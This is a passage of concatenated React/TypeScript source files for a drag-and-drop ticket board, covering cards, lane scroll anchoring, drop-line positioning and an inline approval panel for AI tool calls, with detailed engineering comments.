<TooltipTrigger\n          asChild\n          onPointerDown={e => {\n            isTouchRef.current = e.pointerType === 'touch'\n            if (!isTouchRef.current) return\n            e.preventDefault()\n            toggleFromTouch()\n          }}\n          onFocus={e => {\n            if (isTouchRef.current) e.preventDefault()\n          }}\n          onClick={e => {\n            if (isTouchRef.current) e.preventDefault()\n          }}\n        >\n          {children}\n        </TooltipTrigger>\n        <TooltipContent side={side} className=\"max-w-xs\">\n          {content}\n        </TooltipContent>\n      </Tooltip>\n    </TooltipProvider>\n  )\n}\n","'use client'\n\nimport type { Edge } from '@atlaskit/pragmatic-drag-and-drop-hitbox/closest-edge'\nimport { createContext, useContext } from 'react'\nimport type { BoardTicket } from './types'\n\n/**\n * Where the drop currently points, resolved once for the whole board.\n *\n * Each card used to work this out for itself, from its own hover events. That\n * only ever answers for a card the pointer is physically over, so the moment the\n * pointer left the lanes — over the filters, between two columns, below the last\n * card — the preview vanished even though the drop would still have landed\n * somewhere. Resolving it in one place and handing it down means the preview\n * follows the answer wherever the answer came from.\n */\nexport interface DropAim {\n  columnId: string\n  /** The card the preview hangs off, or `null` for a lane with nothing in it. */\n  ticketId: string | null\n  /** Which side of that card. Meaningless when `ticketId` is `null`. */\n  edge: Edge | null\n  /** The card being carried, drawn faded in the room it opened. */\n  ticket: BoardTicket\n}\n\nexport const DropAimContext = createContext<DropAim | null>(null)\n\n/**\n * Picking a card up from the keyboard. Separate from the aim so a card can offer\n * it without subscribing to something that changes on every pointer move.\n */\nexport const BoardLiftContext = createContext<((ticketId: string) => void) | null>(null)\n\nexport function useBoardLift(): ((ticketId: string) => void) | null {\n  return useContext(BoardLiftContext)\n}\n\n/** Null while no drag is pointing anywhere the board would accept. */\nexport function useDropAim(): DropAim | null {\n  return useContext(DropAimContext)\n}\n\n/** Whether two aims would draw the same thing — used to keep a pointer moving\n *  inside one card from re-rendering the board on every frame. */\nexport function isSameAim(a: DropAim | null, b: DropAim | null): boolean {\n  if (a === b) return true\n  if (!a || !b) return false\n  return a.columnId === b.columnId && a.ticketId === b.ticketId && a.edge === b.edge\n}\n","'use client'\n\nimport { useRef, type RefObject } from 'react'\nimport { useIsomorphicLayoutEffect } from '../../../hooks/ui/use-isomorphic-layout-effect'\nimport type { BoardTicket } from './types'\n\n/** Attribute the lane's cards carry so the anchor can find them again. */\nexport const TICKET_ID_ATTRIBUTE = 'data-ticket-id'\n\ninterface CardPosition {\n  id: string\n  /**\n   * Position in LAYOUT space, absolute within the lane — not the painted one.\n   * `offsetTop` ignores transforms, so a card mid-animation reads at its resting\n   * position and the correction below stays honest. Absolute rather than\n   * viewport-relative so that scrolling between two list changes — the drag's own\n   * auto-scroll, most of all — cannot stale the reading.\n   */\n  offsetTop: number\n}\n\nfunction cardPositions(root: HTMLElement): CardPosition[] {\n  return Array.from(root.querySelectorAll<HTMLElement>(`[${TICKET_ID_ATTRIBUTE}]`)).map(element => ({\n    id: element.getAttribute(TICKET_ID_ATTRIBUTE) ?? '',\n    offsetTop: element.offsetTop,\n  }))\n}\n\n/**\n * Keeps a scrolled lane visually still when its list changes above the viewport.\n *\n * Browsers do this themselves — it is called scroll anchoring — but the lane turns\n * theirs off (`overflow-anchor:none`), because leaving both on double-corrects\n * every insertion. So a ticket arriving from a live update is inserted above the\n * viewport with nothing to compensate, and the whole list slides down by a card.\n *\n * NOTE: the original reason for taking this over by hand was that Chrome skips\n * anchor candidates carrying a `transform`, and dnd-kit transformed every card in\n * the lane during a drag. Nothing transforms cards any more, so the browser's own\n * anchoring may well be enough now — worth testing against live updates before\n * deleting this and the `overflow-anchor:none` that goes with it.\n *\n * The fix is one measurement: whichever card sits at the top of the viewport,\n * note where it is, and after the list changes put the viewport back the same\n * distance from it.\n *\n * Deliberately inert at the very top of a lane (`scrollTop === 0`), matching what\n * browsers do — there a new ticket is meant to be seen, not scrolled away.\n */\nexport function useLaneScrollAnchor(\n  scrollRef: RefObject<HTMLDivElement | null>,\n  tickets: readonly BoardTicket[],\n): void {\n  const positionsRef = useRef<CardPosition[]>([])\n\n  useIsomorphicLayoutEffect(() => {\n    const root = scrollRef.current\n    if (!root) return\n\n    const previous = positionsRef.current\n    const scrollTop = root.scrollTop\n    // Measured once and reused: this runs for every lane on every list change —\n    // live updates, the host's refetch, every committed move — and reading\n    // `offsetTop` after the DOM changed forces a synchronous layout.\n    const current = cardPositions(root)\n\n    if (previous.length > 0 && scrollTop > 0) {\n      // The card at the top of the viewport right now, by its previous position.\n      const anchor = previous.find(card => card.offsetTop >= scrollTop) ?? previous[previous.length - 1]\n      const moved = current.find(card => card.id === anchor.id)\n      if (moved) {\n        const drift = moved.offsetTop - anchor.offsetTop\n        if (Math.abs(drift) >= 1) root.scrollTop = scrollTop + drift\n      }\n    }\n\n    positionsRef.current = current\n  }, [tickets])\n}\n","import { TICKET_ID_ATTRIBUTE } from './use-lane-scroll-anchor'\n\n/** Marks the line showing where a drop would land, wherever it is drawn — on a\n *  card or in an empty lane. The keyboard needs to find it to scroll it into\n *  view; a pointer drag brings its own scrolling. */\nexport const DROP_LINE_ATTRIBUTE = 'data-board-drop-line'\n\n/**\n * The card in `lane` whose middle is nearest `pointerY`, ignoring the one being\n * dragged, or `null` if the lane holds no other card.\n *\n * Live rects rather than anything cached: cards carry margins mid-drag that push\n * them about. The dragged card is skipped by name and not by having no box —\n * it keeps its slot in the lane until another card takes over holding the room,\n * so it is a full-height rectangle sitting right where the pointer is.\n */\nexport function nearestCardIn(lane: ParentNode, pointerY: number, draggedTicketId: string): HTMLElement | null {\n  let best: HTMLElement | null = null\n  let bestDistance = Number.POSITIVE_INFINITY\n  for (const card of lane.querySelectorAll<HTMLElement>(`[${TICKET_ID_ATTRIBUTE}]`)) {\n    if (card.dataset.ticketId === draggedTicketId) continue\n    const rect = card.getBoundingClientRect()\n    if (rect.height === 0) continue\n    const distance = Math.abs(pointerY - (rect.top + rect.height / 2))\n    if (distance < bestDistance) {\n      bestDistance = distance\n      best = card\n    }\n  }\n  return best\n}\n\n/**\n * One card by ticket id, anywhere under `root`.\n *\n * A loop rather than an attribute selector: ticket ids are opaque global ids\n * from the host and go straight into a selector string otherwise.\n */\nexport function cardById(root: ParentNode, ticketId: string): HTMLElement | null {\n  for (const card of root.querySelectorAll<HTMLElement>(`[${TICKET_ID_ATTRIBUTE}]`)) {\n    if (card.dataset.ticketId === ticketId) return card\n  }\n  return null\n}\n","/** Pre-computed alpha blend: mix `hex` at 10% over a #161616 background. */\nexport function tintOnDark(hex: string): string {\n  const n = parseInt(hex.replace('#', ''), 16)\n  const r = (n >> 16) & 0xff\n  const g = (n >> 8) & 0xff\n  const b = n & 0xff\n  const mix = (c: number) => Math.round(0.1 * c + 0.9 * 22)\n  const toHex = (v: number) => v.toString(16).padStart(2, '0')\n  return `#${toHex(mix(r))}${toHex(mix(g))}${toHex(mix(b))}`\n}\n","'use client'\n\nimport { combine } from '@atlaskit/pragmatic-drag-and-drop/combine'\nimport { draggable, dropTargetForElements } from '@atlaskit/pragmatic-drag-and-drop/element/adapter'\nimport { preserveOffsetOnSource } from '@atlaskit/pragmatic-drag-and-drop/element/preserve-offset-on-source'\nimport { setCustomNativeDragPreview } from '@atlaskit/pragmatic-drag-and-drop/element/set-custom-native-drag-preview'\nimport { attachClosestEdge } from '@atlaskit/pragmatic-drag-and-drop-hitbox/closest-edge'\nimport Link from '../../../embed-shims/next-link'\nimport {\n  memo,\n  useEffect,\n  useMemo,\n  useRef,\n  useState,\n  type CSSProperties,\n  type KeyboardEvent,\n  type MouseEvent,\n  type ReactNode,\n} from 'react'\nimport {\n  ClockIcon,\n  DotsLoaderIcon,\n  LaptopIcon,\n  Flag02Icon,\n  MessagesIcon,\n  UserCheckIcon,\n} from '../../icons-v2-generated'\nimport { DeletedUserAvatar } from '../../ui/deleted-user-avatar'\nimport { SquareAvatar } from '../../ui/square-avatar'\nimport { Tag } from '../../ui/tag'\nimport { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from '../../ui/tooltip'\nimport { cn } from '../../../utils/cn'\nimport { holdMoveDragEffect } from '../../../utils/drag-effect'\nimport { getReadableTextColor } from '../../../utils/ods-color-utils'\nimport { formatTicketRelativeTime, formatTicketFullTimestamp } from '../../../utils/date-utils'\nimport { BoardTicketApproval } from './board-ticket-approval'\nimport { useBoardLift, useDropAim } from './drop-aim'\nimport { useIsLanding } from './pending-move'\nimport { DROP_LINE_ATTRIBUTE } from './lane-geometry'\nimport { TICKET_ID_ATTRIBUTE } from './use-lane-scroll-anchor'\nimport type { BoardPriority, BoardTicket, BoardTicketActivityKind } from './types'\n\nconst PRIORITY_COLOR_CLASS: Record<BoardPriority, string> = {\n  low: 'text-ods-text-secondary',\n  medium: 'text-ods-info',\n  high: 'text-ods-warning',\n  urgent: 'text-ods-error',\n}\n\n/** How faded the card is where it would land. Matches what dnd-kit left behind. */\nconst DRAGGED_CARD_OPACITY = 0.4\n\n/** How solid the card under the pointer is. Jira's look: carried, not lifted off\n *  the page entirely. */\nexport const DRAG_PREVIEW_OPACITY = 0.9\n\nconst MAX_VISIBLE_TAGS = 2\nconst MAX_VISIBLE_ASSIGNEES = 3\n\nconst ACTIVITY_DEFAULT_LABEL: Record<BoardTicketActivityKind, string> = {\n  'ai-working': 'AI assistant is working',\n  'user-typing': 'User typing',\n  'waiting-external': 'Waiting for client response',\n  stale: 'No activity',\n}\n\n/** Shared card shell (border / padding / bg). Same footprint for the draggable\n *  board card and the static {@link TicketCardView}. */\nconst TICKET_CARD_SHELL =\n  'relative flex flex-col gap-[var(--spacing-system-sf)] rounded-md border border-ods-border bg-ods-bg p-[var(--spacing-system-sf)] select-none text-left'\n\n// =============================================================================\n// Presentational body — the ONE ticket-card design, no drag/link/board context.\n// Reused by the draggable `TicketCard` AND the static `TicketCardView`.\n// =============================================================================\n\nexport interface TicketCardBodyProps {\n  ticket: BoardTicket\n  columnColor?: string\n  renderAssignSlot?: (ticket: BoardTicket) => ReactNode\n  /** Approval callbacks receive the request id directly (the draggable\n   *  `TicketCard` adapts its own `(ticketId, requestId)` signature onto these). */\n  onApprove?: (requestId?: string) => void | Promise<void>\n  onReject?: (requestId?: string) => void | Promise<void>\n}\n\n/** The card's inner content: title + device/org, priority + assignees, tags,\n *  timestamp, \"New Message\", and the approval row. Pure — driven only by props. */\nexport function TicketCardBody({ ticket, columnColor, renderAssignSlot, onApprove, onReject }: TicketCardBodyProps) {\n  const showNewMessage = !!ticket.hasNewMessage && !!columnColor\n  const newMessageTextColor = columnColor ? getReadableTextColor(columnColor) : undefined\n\n  const showDeviceRow = !!(ticket.deviceHostnames?.length || ticket.organizationName)\n  const deviceText = [ticket.deviceHostnames?.join(', '), ticket.organizationName].filter(Boolean).join(', ')\n\n  const hasRightSection = !!(ticket.priority || ticket.assignees?.length || renderAssignSlot)\n  const rightSection = hasRightSection ? (\n    <div className=\"pointer-events-auto flex shrink-0 items-center gap-[var(--spacing-system-xsf)]\">\n      {ticket.priority && (\n        <Flag02Icon\n          className={cn('size-4', PRIORITY_COLOR_CLASS[ticket.priority])}\n          aria-label={`Priority: ${ticket.priority}`}\n        />\n      )}\n      {renderAssignSlot ? (\n        renderAssignSlot(ticket)\n      ) : ticket.assignees?.length ? (\n        <div className=\"flex -space-x-2\">\n          {ticket.assignees.slice(0, MAX_VISIBLE_ASSIGNEES).map(a =>\n            a.deleted ? (\n              <DeletedUserAvatar key={a.id} size=\"sm\" accessibleLabel={`Deleted user: ${a.name ?? a.initials ?? a.id}`} />\n            ) : (\n              <SquareAvatar\n                key={a.id}\n                src={a.avatarUrl}\n                alt={a.name ?? a.initials ?? a.id}\n                fallback={a.name ?? a.initials}\n                size=\"sm\"\n                variant=\"round\"\n              />\n            ),\n          )}\n          {ticket.assignees.length > MAX_VISIBLE_ASSIGNEES && (\n            <div className=\"flex h-8 w-8 shrink-0 items-center justify-center rounded-full border border-ods-border bg-ods-bg text-h6 text-ods-text-secondary\">\n              +{ticket.assignees.length - MAX_VISIBLE_ASSIGNEES}\n            </div>\n          )}\n        </div>\n      ) : null}\n    </div>\n  ) : null\n\n  const timestampLabel = ticket.createdAt ? formatTicketRelativeTime(ticket.createdAt) : null\n  const tooltipLabel = ticket.createdAt ? formatTicketFullTimestamp(ticket.createdAt) : null\n\n  return (\n    <>\n      <div className=\"flex items-start gap-[var(--spacing-system-sf)]\">\n        <div className=\"flex min-w-0 flex-1 flex-col gap-[var(--spacing-system-zero)]\" title={ticket.title}>\n          <p className=\"text-h3 truncate text-ods-text-primary\">{ticket.title}</p>\n          {showDeviceRow && (\n            <div className=\"flex min-w-0 items-center gap-[var(--spacing-system-xxs)] text-h6 text-ods-text-secondary\">\n              <LaptopIcon className=\"size-4 shrink-0\" />\n              <span className=\"truncate\" title={deviceText}>{deviceText}</span>\n            </div>\n          )}\n        </div>\n        {rightSection}\n      </div>\n      {ticket.tags?.length ? <TicketTagRow tags={ticket.tags} /> : null}\n      {timestampLabel && tooltipLabel && (\n        <TooltipProvider>\n          <Tooltip>\n            <TooltipTrigger asChild>\n              <p className=\"pointer-events-auto text-h6 truncate text-ods-text-secondary\">{timestampLabel}</p>\n            </TooltipTrigger>\n            <TooltipContent>{tooltipLabel}</TooltipContent>\n          </Tooltip>\n        </TooltipProvider>\n      )}\n      {ticket.escalatedByUser && (\n        <div className=\"flex items-center gap-[var(--spacing-system-xxs)] text-h6 text-ods-open-yellow\">\n          <UserCheckIcon className=\"size-4 shrink-0\" />\n          <span className=\"truncate\">Escalated by User</span>\n        </div>\n      )}\n      {ticket.activity && (\n        <div\n          className={cn(\n            'flex items-center gap-[var(--spacing-system-xxs)] text-h6',\n            ticket.activity.kind === 'stale' ? 'text-ods-open-yellow' : 'text-ods-text-secondary',\n          )}\n        >\n          {ticket.activity.kind === 'stale' ? (\n            <ClockIcon className=\"size-4 shrink-0\" />\n          ) : (\n            <DotsLoaderIcon className=\"size-4 shrink-0\" />\n          )}\n          <span className=\"truncate\">{ticket.activity.label ?? ACTIVITY_DEFAULT_LABEL[ticket.activity.kind]}</span>\n        </div>\n      )}\n      {showNewMessage && (\n        <Tag\n          label=\"New Message\"\n          icon={<MessagesIcon size={16} color={newMessageTextColor} />}\n          className=\"w-fit shrink-0\"\n          style={{ backgroundColor: columnColor, color: newMessageTextColor }}\n        />\n      )}\n      {ticket.pendingApproval && (\n        <BoardTicketApproval pendingApproval={ticket.pendingApproval} onApprove={onApprove} onReject={onReject} />\n      )}\n    </>\n  )\n}\n\n// =============================================================================\n// Static card — the real board card design, rendered from props with NO\n// drag-and-drop / board context (for embeds, marketing heroes, previews).\n// =============================================================================\n\nexport interface TicketCardViewProps extends TicketCardBodyProps {\n  className?: string\n  /** Merged over the shell's own — the board uses it to fade the copy it leaves\n   *  behind and to place the one that follows the pointer. */\n  style?: CSSProperties\n}\n\n/**\n * The exact board `TicketCard` visual, standalone — same shell + `TicketCardBody`\n * as the draggable card, but registering no drag behaviour, so it renders\n * anywhere from static props. Use this outside a `<Board>`.\n */\nexport function TicketCardView({ className, style, ...bodyProps }: TicketCardViewProps) {\n  const { ticket, columnColor } = bodyProps\n  const showNewMessage = !!ticket.hasNewMessage && !!columnColor\n  return (\n    <div\n      className={cn(TICKET_CARD_SHELL, className)}\n      style={showNewMessage ? { borderColor: columnColor, ...style } : style}\n    >\n      <div className=\"relative z-10 flex flex-col gap-[var(--spacing-system-sf)]\">\n        <TicketCardBody {...bodyProps} />\n      </div>\n    </div>\n  )\n}\n\n// =============================================================================\n// Draggable board card\n// =============================================================================\n\nexport interface TicketCardProps {\n  ticket: BoardTicket\n  columnId: string\n  columnColor?: string\n  href?: string\n  dragDisabled?: boolean\n  /** The owning column's drop rules. A card is a drop target in its own right,\n   *  and Pragmatic does not let a lane's `canDrop` veto its children — so the\n   *  rules have to be answered here too, or a blocked lane still accepts a drop\n   *  straight onto one of its cards. */\n  dropDisabled?: boolean\n  allowedFromColumns?: string[]\n  renderAssignSlot?: (ticket: BoardTicket) => ReactNode\n  onApprove?: (ticketId: string, requestId?: string) => void | Promise<void>\n  onReject?: (ticketId: string, requestId?: string) => void | Promise<void>\n}\n\n/** Memoized: a drag moves one card, but it re-renders the column lists around\n *  it, and a board carries dozens of cards whose props did not change. Hosts\n *  must pass stable `renderAssignSlot` / `onApprove` / `onReject` (useCallback)\n *  for this to bite — an inline arrow re-renders every card on every keystroke\n *  anywhere in the page. */\nexport const TicketCard = memo(function TicketCard({\n  ticket,\n  columnId,\n  columnColor,\n  href,\n  dragDisabled,\n  dropDisabled,\n  allowedFromColumns,\n  renderAssignSlot,\n  onApprove,\n  onReject,\n}: TicketCardProps) {\n  const ref = useRef<HTMLDivElement>(null)\n  // Read at drag start rather than captured: the registration below is keyed on\n  // the ticket's id, so capturing the object would hand a renamed or re-tagged\n  // ticket to the drag — and to the preview drawn from it — as it was when the\n  // card first mounted.\n  const ticketRef = useRef(ticket)\n  ticketRef.current = ticket\n  const [isDragging, setIsDragging] = useState(false)\n  // Set by the board for the moment after a drop in which this card is already\n  // in its new slot and the drag preview is still gliding into it.\n  const isLanding = useIsLanding(ticket.id)\n\n  // Where the drop points, worked out once for the whole board — see\n  // `drop-aim.ts` for why this stopped being each card's own business.\n  const aim = useDropAim()\n  // Matched on the LANE as well as the card, and both halves are load-bearing.\n  // The board resolves one landing place, in one named lane; a ticket id is only\n  // unique within a lane here, because each lane is its own query and a ticket\n  // whose status just changed is listed by the new lane before the old one has\n  // caught up. Matching on the id alone drew the line in both lanes at once —\n  // including a lane that refuses the card altogether, since the aim it was\n  // drawing came from the other one.\n  const closestEdge = aim && aim.columnId === columnId && aim.ticketId === ticket.id ? aim.edge : null\n  // Not lane-scoped, and deliberately: `aim.columnId` is where the card is\n  // GOING, while the card being carried is still sitting in the lane it came\n  // from. True for a pointer drag and for a keyboard lift alike — the aim always\n  // names the card being moved, whichever picked it up.\n  const isSource = isDragging || aim?.ticket.id === ticket.id\n\n  const lift = useBoardLift()\n  const handleKeyDown = (e: KeyboardEvent<HTMLElement>) => {\n    // Space lifts; Enter is left to the link, which opens the ticket.\n    if (e.key !== ' ' || dragDisabled || !lift) return\n    e.preventDefault()\n    lift(ticket.id)\n  }\n\n  // Both roles live on the same element, and both keep their state HERE. That is\n  // the point of the whole drag stack: hovering this card re-renders this card,\n  // not the board — nothing subscribes upward, so cost does not grow with how\n  // many cards are mounted.\n  useEffect(() => {\n    const element = ref.current\n    if (!element || dragDisabled) return\n\n    const identity = { type: 'ticket' as const, ticketId: ticket.id, columnId }\n\n    return combine(\n      // Before anything else: the drag has to start as a \"move\", or its first\n      // frame is drawn with the copy cursor — see `drag-effect.ts`.\n      holdMoveDragEffect(element),\n      draggable({\n        element,\n        // Read at drag start rather than captured, so a card renamed or re-tagged\n        // since it mounted travels as it is now. No height: it was here for a\n        // lane that opened room for the card, and nothing opens room any more —\n        // it was costing a forced layout read at the start of every drag to\n        // produce a field no one read.\n        getInitialData: () => ({ ...identity, ticket: ticketRef.current }),\n        /**\n         * The card under the pointer is the browser's own drag image, styled by\n         * us. Drawing it ourselves as a positioned element was tried and has one\n         * unfixable flaw: an element in the page cannot leave the page. Carry a\n         * card up towards the address bar and the pointer crosses into the\n         * browser's own chrome, where no `dragover` reaches the document — so\n         * the card freezes at the top edge and only catches up when the drag\n         * ends. A native drag image is moved by the browser itself and floats\n         * over everything, which is why Jira's card does not stick there.\n         *\n         * A clone rather than a second React tree: this is a photograph, taken\n         * once, and a copy of the card's own DOM is a photograph of exactly what\n         * is on screen — assignee slot and all — with no providers to re-supply\n         * and no chance of it rendering a loading state into the picture.\n         */\n        onGenerateDragPreview: ({ nativeSetDragImage, location, source }) => {\n          const { width } = source.element.getBoundingClientRect()\n          setCustomNativeDragPreview({\n            nativeSetDragImage,\n            // Holds the card under the same part of itself it was grabbed by.\n            getOffset: preserveOffsetOnSource({ element: source.element, input: location.current.input }),\n            render: ({ container }) => {\n              const clone = source.element.cloneNode(true) as HTMLElement\n              // The card is a flex item stretched by its lane; on its own it\n              // would shrink to its contents.\n              clone.style.width = `${width}px`\n              clone.style.opacity = String(DRAG_PREVIEW_OPACITY)\n              clone.classList.add('shadow-card-hover')\n              container.appendChild(clone)\n            },\n          })\n        },\n        onDragStart: () => setIsDragging(true),\n        onDrop: () => setIsDragging(false),\n      }),\n      dropTargetForElements({\n        element,\n        canDrop: ({ source }) => {\n          if (source.data.type !== 'ticket' || source.data.ticketId === ticket.id) return false\n          const from = String(source.data.columnId)\n          if (from === columnId) return true\n          if (dropDisabled) return false\n          return !allowedFromColumns || allowedFromColumns.includes(from)\n        },\n        // The edge rides along in the drop target's own data, so the board reads\n        // \"above or below this card\" straight off the drop it receives.\n        getData: ({ input, element: self }) =>\n          attachClosestEdge({ ...identity }, { input, element: self, allowedEdges: ['top', 'bottom'] }),\n        // Sticky, so crossing the gap between two cards — which is lane padding\n        // and belongs to no card's box — keeps answering with the card just\n        // left, rather than handing the question to the lane for those few\n        // pixels and back again. Both answer with the same slot (the lane\n        // resolves the nearest card and its edge), so this is about not\n        // re-deriving it from a different target every few pixels, NOT about\n        // reaching room a card has opened: nothing moves during a drag here.\n        getIsSticky: () => true,\n      }),\n    )\n  }, [ticket.id, columnId, dragDisabled, dropDisabled, allowedFromColumns])\n\n  const showNewMessage = !!ticket.hasNewMessage && !!columnColor\n\n  const style: CSSProperties = {}\n  if (showNewMessage) style.borderColor = columnColor\n\n  const handleClick = (e: MouseEvent) => {\n    if (isDragging) e.preventDefault()\n  }\n\n  // Held as one memoized element, not re-created per render. A card being\n  // dragged over re-renders on every edge flip — it owns the hover state that\n  // draws the preview — and the body is the expensive half: avatars, tags,\n  // tooltips, a host's assignee picker with its own queries. Keeping the same\n  // element object lets React bail out of that whole subtree, so only the thin\n  // wrapper around it re-renders.\n  const body = useMemo(\n    () => (\n      <TicketCardBody\n        ticket={ticket}\n        columnColor={columnColor}\n        renderAssignSlot={renderAssignSlot}\n        onApprove={onApprove ? requestId => onApprove(ticket.id, requestId) : undefined}\n        onReject={onReject ? requestId => onReject(ticket.id, requestId) : undefined}\n      />\n    ),\n    [ticket, columnColor, renderAssignSlot, onApprove, onReject],\n  )\n\n  // No transition on the margins below, and that is not a style choice: room is\n  // opened at one card and given back at another, and a transition interrupted\n  // part-way — which is every target change while the pointer keeps moving —\n  // restarts from where it got to, so the two ends run at different rates and\n  // the lane's height wanders. The rearrangement is instant instead.\n  const cardClasses = cn(TICKET_CARD_SHELL, !dragDisabled && 'cursor-pointer')\n\n  const outerProps = {\n    ref,\n    style,\n    className: cardClasses,\n    // Read by the lane's scroll anchor to keep the list still when tickets are\n    // inserted above the viewport — see `use-lane-scroll-anchor.ts`.\n    [TICKET_ID_ATTRIBUTE]: ticket.id,\n  }\n\n  const innerWrapperClass = 'relative z-10 flex flex-col gap-[var(--spacing-system-sf)]'\n\n  if (isSource) {\n    // Stays exactly where it is, faded. NOTHING about the lane moves during a\n    // drag — no room opens, no slot closes — so there is no layout to keep\n    // balanced and no height to wander. That is what makes the line below\n    // affordable, and it is why this is also the cheap option.\n    //\n    // Safe to do from state: React commits this AFTER the `dragstart` handler\n    // returns, and it is only removing the source synchronously inside that\n    // handler that lets a browser abort the drag.\n    style.opacity = DRAGGED_CARD_OPACITY\n  } else if (isLanding) {\n    // Already here, and the preview is on its way to this exact box. Hidden and\n    // not removed: the slot it holds is what the preview is aiming at, and it is\n    // what keeps the lane from moving again the instant it settled.\n    style.visibility = 'hidden'\n  }\n\n  /**\n   * Where the card would land, drawn as a line rather than as an opened gap.\n   *\n   * Opening a card's worth of room and drawing a copy of the card in it costs a\n   * lane relayout plus a whole card render — avatars, tags, tooltips, the host's\n   * assignee slot — on every edge flip, and the flips come as fast as the\n   * pointer moves. A line is one absolutely positioned span, changes no layout,\n   * and says the same thing.\n   */\n  const insertionLine = closestEdge ? (\n    <span\n      aria-hidden\n      {...{ [DROP_LINE_ATTRIBUTE]: '' }}\n      className={cn(\n        // Nothing sticks out sideways or beyond the line's own 2px: the lane\n        // scrolls, and a scroll container clips whatever leaves its padding box\n        // — an end cap or a knob on this would be cut off against the first and\n        // last card in every lane.\n        'pointer-events-none absolute inset-x-0 z-10 h-0.5 rounded-full bg-ods-accent',\n        // Centred in the lane's own gap, so it reads as sitting between two\n        // cards rather than as belonging to one of them. The lane reserves the\n        // matching sliver at its ends (see `board-column.tsx`).\n        closestEdge === 'top' ? '-top-[5px]' : '-bottom-[5px]',\n      )}\n    />\n  ) : null\n\n  if (href) {\n    return (\n      <div {...outerProps}>\n        {insertionLine}\n        <Link\n          href={href}\n          draggable={false}\n          prefetch={false}\n          onClick={handleClick}\n          onKeyDown={handleKeyDown}\n          aria-label={ticket.title}\n          aria-keyshortcuts=\"Space\"\n          className=\"absolute inset-0 z-0 rounded-md focus-visible:outline-none\"\n        />\n        <div className={cn('pointer-events-none', innerWrapperClass)}>{body}</div>\n      </div>\n    )\n  }\n\n  return (\n    <div {...outerProps}>\n      {insertionLine}\n      <button\n        type=\"button\"\n        onClick={handleClick}\n        onKeyDown={handleKeyDown}\n        aria-label={ticket.title}\n        aria-keyshortcuts=\"Space\"\n        className=\"absolute inset-0 z-0 cursor-pointer rounded-md focus-visible:outline-none\"\n      />\n      <div className={cn('pointer-events-none', innerWrapperClass)}>{body}</div>\n    </div>\n  )\n})\n\nfunction TicketTagRow({ tags }: { tags: string[] }) {\n  const visible = tags.slice(0, MAX_VISIBLE_TAGS)\n  const hidden = tags.length - visible.length\n\n  return (\n    <div className=\"flex h-8 flex-wrap items-start gap-[var(--spacing-system-xxs)] overflow-clip\">\n      {visible.map(tag => (\n        <Tag key={tag} variant=\"outline\" label={tag} />\n      ))}\n      {hidden > 0 && <Tag variant=\"outline\" label={`+${hidden}`} />}\n    </div>\n  )\n}\n","/**\n * Holds a native drag started from `element` to the \"move\" effect, from its very\n * first frame.\n *\n * The browser picks the drag cursor from `dataTransfer.dropEffect`, and the\n * value it starts each drag with comes from `effectAllowed`. Pragmatic never\n * writes `effectAllowed`, so it stays `uninitialized` — which the browser reads\n * as \"all\", whose initial `dropEffect` is `copy`. That is the green plus cursor\n * flashing for one frame at the start of every drag, before the first `dragover`\n * has had a chance to say otherwise.\n *\n * This is a raw listener rather than a Pragmatic callback because `effectAllowed`\n * can only be written during the `dragstart` event itself, and none of\n * Pragmatic's callbacks are handed the event.\n *\n * Distinct from `preventUnhandled`, which answers the other half of the same\n * question: this sets what the drag starts as, that keeps it from falling back\n * to \"no drop\" over everything that is not a drop target.\n */\nexport function holdMoveDragEffect(element: HTMLElement): () => void {\n  const onDragStart = (event: DragEvent) => {\n    if (event.dataTransfer) event.dataTransfer.effectAllowed = 'move'\n  }\n  element.addEventListener('dragstart', onDragStart)\n  return () => element.removeEventListener('dragstart', onDragStart)\n}\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../../utils/cn'\nimport { ApprovalBatchMessage } from '../../chat/approval-batch-message'\nimport { useCollapsible } from '../../chat/hooks/use-collapsible'\nimport { Chevron02DownIcon, Chevron02UpIcon, DotsLoaderIcon, ShieldCheckIcon } from '../../icons-v2-generated'\nimport type { BoardTicketPendingApproval } from './types'\n\nexport interface BoardTicketApprovalProps {\n  pendingApproval: BoardTicketPendingApproval\n  onApprove?: (requestId?: string) => void | Promise<void>\n  onReject?: (requestId?: string) => void | Promise<void>\n}\n\n/**\n * Inline, collapsed-by-default approval section for a board ticket card. Expands to\n * the shared {@link ApprovalBatchMessage} so the request can be approved/rejected\n * without leaving the board. The header switches between the client variant (grey,\n * \"Pending client approval\") and the technician/admin variant (yellow shield,\n * \"Technician approval required\") on `approvalType`.\n */\nexport function BoardTicketApproval({ pendingApproval, onApprove, onReject }: BoardTicketApprovalProps) {\n  const [expanded, setExpanded] = React.useState(false)\n  const { innerRef, containerStyle } = useCollapsible({ expanded })\n  const isAdmin = pendingApproval.approvalType === 'ADMIN'\n\n  return (\n    <div className=\"pointer-events-auto flex flex-col\">\n      <button\n        type=\"button\"\n        onClick={() => setExpanded(v => !v)}\n        aria-expanded={expanded}\n        className=\"flex w-full cursor-pointer items-center gap-[var(--spacing-system-xxs)] text-h6\"\n      >\n        <span\n          className={cn(\n            'flex min-w-0 flex-1 items-center gap-[var(--spacing-system-xxs)]',\n            isAdmin ? 'text-ods-open-yellow' : 'text-ods-text-secondary',\n          )}\n        >\n          {isAdmin ? (\n            <ShieldCheckIcon className=\"size-4 shrink-0\" />\n          ) : (\n            <DotsLoaderIcon size={16} className=\"shrink-0\" />\n          )}\n          <span className=\"flex-1 truncate text-left\">\n            {isAdmin ? 'Technician approval required' : 'Pending client approval'}\n          </span>\n        </span>\n        {expanded ? (\n          <Chevron02UpIcon className=\"size-4 shrink-0 text-ods-text-secondary\" />\n        ) : (\n          <Chevron02DownIcon className=\"size-4 shrink-0 text-ods-text-secondary\" />\n        )}\n      </button>\n\n      <div style={containerStyle}>\n        <div ref={innerRef} className=\"pt-[var(--spacing-system-xs)]\">\n          <ApprovalBatchMessage\n            className=\"mb-0\"\n            data={{\n              approvalRequestId: pendingApproval.id,\n              approvalType: pendingApproval.approvalType ?? 'CLIENT',\n              toolCalls: pendingApproval.toolCalls ?? [],\n            }}\n            status=\"pending\"\n            showExecutionStatus={false}\n            onApprove={onApprove}\n            onReject={onReject}\n          />\n        </div>\n      </div>\n    </div>\n  )\n}\n","'use client'\n\nimport { createContext, useContext } from 'react'\nimport type { BoardColumnDef } from './types'\n\n/** The move that was reported, so we can show it and recognise it arriving. */\nexport interface PendingMove {\n  ticketId: string\n  /** The lane it came from — what tells a lane change apart from a reorder. */\n  fromColumnId: string\n  toColumnId: string\n  /** The card it was dropped after, or `null` for the head of the lane. */\n  afterTicketId: string | 